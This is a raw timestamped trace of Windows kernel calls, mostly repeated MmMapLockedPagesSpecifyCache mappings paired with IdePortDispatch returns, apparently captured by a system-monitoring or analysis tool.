[0084.233] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d5000 [0084.233] IdePortDispatch () returned 0x103 [0084.236] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003558000 [0084.236] IdePortDispatch () returned 0x103 [0084.237] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355c000 [0084.237] IdePortDispatch () returned 0x103 [0084.238] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003560000 [0084.238] IdePortDispatch () returned 0x103 [0084.239] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003575000 [0084.239] IdePortDispatch () returned 0x103 [0084.240] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003578000 [0084.240] IdePortDispatch () returned 0x103 [0084.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800357b000 [0084.242] IdePortDispatch () returned 0x103 [0084.242] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003583000 [0084.242] IdePortDispatch () returned 0x103 [0084.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a5000 [0084.244] IdePortDispatch () returned 0x103 [0084.244] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035bd000 [0084.244] IdePortDispatch () returned 0x103 [0084.245] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035be000 [0084.246] IdePortDispatch () returned 0x103 [0084.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c1000 [0084.246] IdePortDispatch () returned 0x103 [0084.248] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c4000 [0084.248] IdePortDispatch () returned 0x103 [0084.249] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c7000 [0084.249] IdePortDispatch () returned 0x103 [0084.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035cb000 [0084.250] IdePortDispatch () returned 0x103 [0084.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b05000 [0084.252] IdePortDispatch () returned 0x103 [0084.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b1a000 [0084.253] IdePortDispatch () returned 0x103 [0084.253] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b22000 [0084.253] IdePortDispatch () returned 0x103 [0084.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b24000 [0084.255] IdePortDispatch () returned 0x103 [0084.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b2c000 [0084.255] IdePortDispatch () returned 0x103 [0084.257] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b31000 [0084.257] IdePortDispatch () returned 0x103 [0084.258] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b34000 [0084.258] IdePortDispatch () returned 0x103 [0084.259] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b37000 [0084.259] IdePortDispatch () returned 0x103 [0084.261] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b3b000 [0084.261] IdePortDispatch () returned 0x103 [0084.269] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cc6000 [0084.269] IdePortDispatch () returned 0x103 [0084.270] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ceb000 [0084.270] IdePortDispatch () returned 0x103 [0084.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d29000 [0084.272] IdePortDispatch () returned 0x103 [0084.274] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d6f000 [0084.274] IdePortDispatch () returned 0x103 [0084.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d73000 [0084.275] IdePortDispatch () returned 0x103 [0084.276] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d77000 [0084.276] IdePortDispatch () returned 0x103 [0084.277] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d9c000 [0084.277] IdePortDispatch () returned 0x103 [0084.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da0000 [0084.278] IdePortDispatch () returned 0x103 [0084.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0084.279] IdePortDispatch () returned 0x103 [0084.280] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da8000 [0084.280] IdePortDispatch () returned 0x103 [0084.288] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.288] IdePortDispatch () returned 0x103 [0084.289] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.290] IdePortDispatch () returned 0x103 [0084.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003486000 [0084.291] IdePortDispatch () returned 0x103 [0084.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800348e000 [0084.291] IdePortDispatch () returned 0x103 [0084.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003496000 [0084.292] IdePortDispatch () returned 0x103 [0084.292] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800349e000 [0084.293] IdePortDispatch () returned 0x103 [0084.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034a6000 [0084.293] IdePortDispatch () returned 0x103 [0084.293] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ae000 [0084.293] IdePortDispatch () returned 0x103 [0084.295] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e6000 [0084.295] IdePortDispatch () returned 0x103 [0084.297] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ea000 [0084.297] IdePortDispatch () returned 0x103 [0084.314] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.314] IdePortDispatch () returned 0x103 [0084.315] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003485000 [0084.315] IdePortDispatch () returned 0x103 [0084.331] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d80000 [0084.331] IdePortDispatch () returned 0x103 [0084.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ddf000 [0084.334] IdePortDispatch () returned 0x103 [0084.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de7000 [0084.334] IdePortDispatch () returned 0x103 [0084.337] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.337] IdePortDispatch () returned 0x103 [0084.338] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003461000 [0084.338] IdePortDispatch () returned 0x103 [0084.340] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003484000 [0084.340] IdePortDispatch () returned 0x103 [0084.349] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b95000 [0084.349] IdePortDispatch () returned 0x103 [0084.351] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b97000 [0084.351] IdePortDispatch () returned 0x103 [0084.356] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0084.356] IdePortDispatch () returned 0x103 [0084.358] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cd4000 [0084.358] IdePortDispatch () returned 0x103 [0084.359] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf7000 [0084.359] IdePortDispatch () returned 0x103 [0084.360] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf9000 [0084.360] IdePortDispatch () returned 0x103 [0084.361] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfb000 [0084.361] IdePortDispatch () returned 0x103 [0084.362] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cfd000 [0084.362] IdePortDispatch () returned 0x103 [0084.363] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cff000 [0084.363] IdePortDispatch () returned 0x103 [0084.366] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d81000 [0084.366] IdePortDispatch () returned 0x103 [0084.367] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d83000 [0084.368] IdePortDispatch () returned 0x103 [0084.371] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.371] IdePortDispatch () returned 0x103 [0084.374] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034d0000 [0084.374] IdePortDispatch () returned 0x103 [0084.381] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b26000 [0084.381] IdePortDispatch () returned 0x103 [0084.382] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b29000 [0084.382] IdePortDispatch () returned 0x103 [0084.384] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b7f000 [0084.384] IdePortDispatch () returned 0x103 [0084.386] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b83000 [0084.386] IdePortDispatch () returned 0x103 [0084.389] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000ba7000 [0084.389] IdePortDispatch () returned 0x103 [0084.390] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0084.390] IdePortDispatch () returned 0x103 [0084.393] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bee000 [0084.393] IdePortDispatch () returned 0x103 [0084.398] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c90000 [0084.398] IdePortDispatch () returned 0x103 [0084.400] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb4000 [0084.401] IdePortDispatch () returned 0x103 [0084.402] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cb8000 [0084.402] IdePortDispatch () returned 0x103 [0084.404] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cdf000 [0084.404] IdePortDispatch () returned 0x103 [0084.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002cf4000 [0084.406] IdePortDispatch () returned 0x103 [0084.408] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d1a000 [0084.408] IdePortDispatch () returned 0x103 [0084.409] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d2e000 [0084.409] IdePortDispatch () returned 0x103 [0084.411] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da2000 [0084.411] IdePortDispatch () returned 0x103 [0084.412] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002db8000 [0084.412] IdePortDispatch () returned 0x103 [0084.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003421000 [0084.415] IdePortDispatch () returned 0x103 [0084.417] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003450000 [0084.417] IdePortDispatch () returned 0x103 [0084.419] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003476000 [0084.419] IdePortDispatch () returned 0x103 [0084.420] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003479000 [0084.420] IdePortDispatch () returned 0x103 [0084.422] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034af000 [0084.422] IdePortDispatch () returned 0x103 [0084.423] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034b2000 [0084.423] IdePortDispatch () returned 0x103 [0084.425] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034e8000 [0084.425] IdePortDispatch () returned 0x103 [0084.426] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880034ed000 [0084.426] IdePortDispatch () returned 0x103 [0084.428] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003510000 [0084.428] IdePortDispatch () returned 0x103 [0084.429] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003515000 [0084.429] IdePortDispatch () returned 0x103 [0084.430] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800352d000 [0084.431] IdePortDispatch () returned 0x103 [0084.432] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800354f000 [0084.432] IdePortDispatch () returned 0x103 [0084.433] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003564000 [0084.433] IdePortDispatch () returned 0x103 [0084.435] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003589000 [0084.435] IdePortDispatch () returned 0x103 [0084.436] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800358d000 [0084.436] IdePortDispatch () returned 0x103 [0084.438] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c2000 [0084.438] IdePortDispatch () returned 0x103 [0084.439] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035c6000 [0084.439] IdePortDispatch () returned 0x103 [0084.440] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035de000 [0084.440] IdePortDispatch () returned 0x103 [0084.442] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b47000 [0084.442] IdePortDispatch () returned 0x103 [0084.445] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b8a000 [0084.445] IdePortDispatch () returned 0x103 [0084.447] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bae000 [0084.447] IdePortDispatch () returned 0x103 [0084.448] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc9000 [0084.448] IdePortDispatch () returned 0x103 [0084.450] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bef000 [0084.450] IdePortDispatch () returned 0x103 [0084.451] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bf4000 [0084.451] 